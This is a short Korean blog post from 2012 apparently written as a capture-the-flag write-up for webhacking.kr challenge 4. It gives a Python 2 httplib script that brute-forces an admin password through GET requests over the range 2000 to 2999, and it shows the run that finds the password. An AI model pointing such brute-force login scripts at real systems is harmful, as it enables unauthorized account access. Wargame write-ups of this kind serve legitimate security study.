2012. 6. 30. 13:36

파이썬 공부도중 httplib 를 활용하는 예제가 나와서 http://webhacking.kr 4번 문제가 

GET방식 brute forcing 공격에 관련된 문제였었다.


위와같이 input box 에 id 와 pw를 입력하면 암호는 숫자이며 2000~3000사이의 숫자라는 것을 알려준다.

익스플로잇 코드는 아래와 같다.



from httplib import HTTP



for i in range(2000,3000):


str_rhttp = "/challenge/web/web-04/index.php?cid=admin&cpw="+str(i)

# str_rhttp  = "/challenge/web/web-04/index.php?cid=admin&cpw="+str(i)

# print str_rhttp

# print "----------------------------------------------------"

r = HTTP('webhacking.kr',80)

r.putrequest('GET',str_rhttp)

r.putheader('Accept','text/html')

r.putheader('User-Agent','Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko)')

r.putheader('Host','webhacking.kr')


r.putheader('cookie','PHPSESSID=5caf21723ee515f908e1584a0bf0dd7b')

r.endheaders()


## print r.str


EC, EM, headers = r.getreply()

# print EC, EM



f= r.getfile()

html=f.read()


# print len(html)


if (len(html) == 257) :

str(i)

# print "fail"


else : 

print str(i)

print html

print '----------------------------------------------'

break


f.close() 



결과 화면 


 

root@ubuntu:~/k1rha/python# python webhackingNo4_exploit.py 

2748

<!--


brute force challenge!



id : guest

pw : 1234



id : admin

pw : 2xxx


admin pass range is 2000 ~ 2999


-->

<html>

<head>

<title>Challenge 4</title>

</head>

<body><center><br><br>

<font size=2>hi <b>admin!</b><p><br><br>k1rha : already solved this challenge. (4 , 150 - 2011-09-03 20:14:29)

----------------------------------------------



Posted by k1rha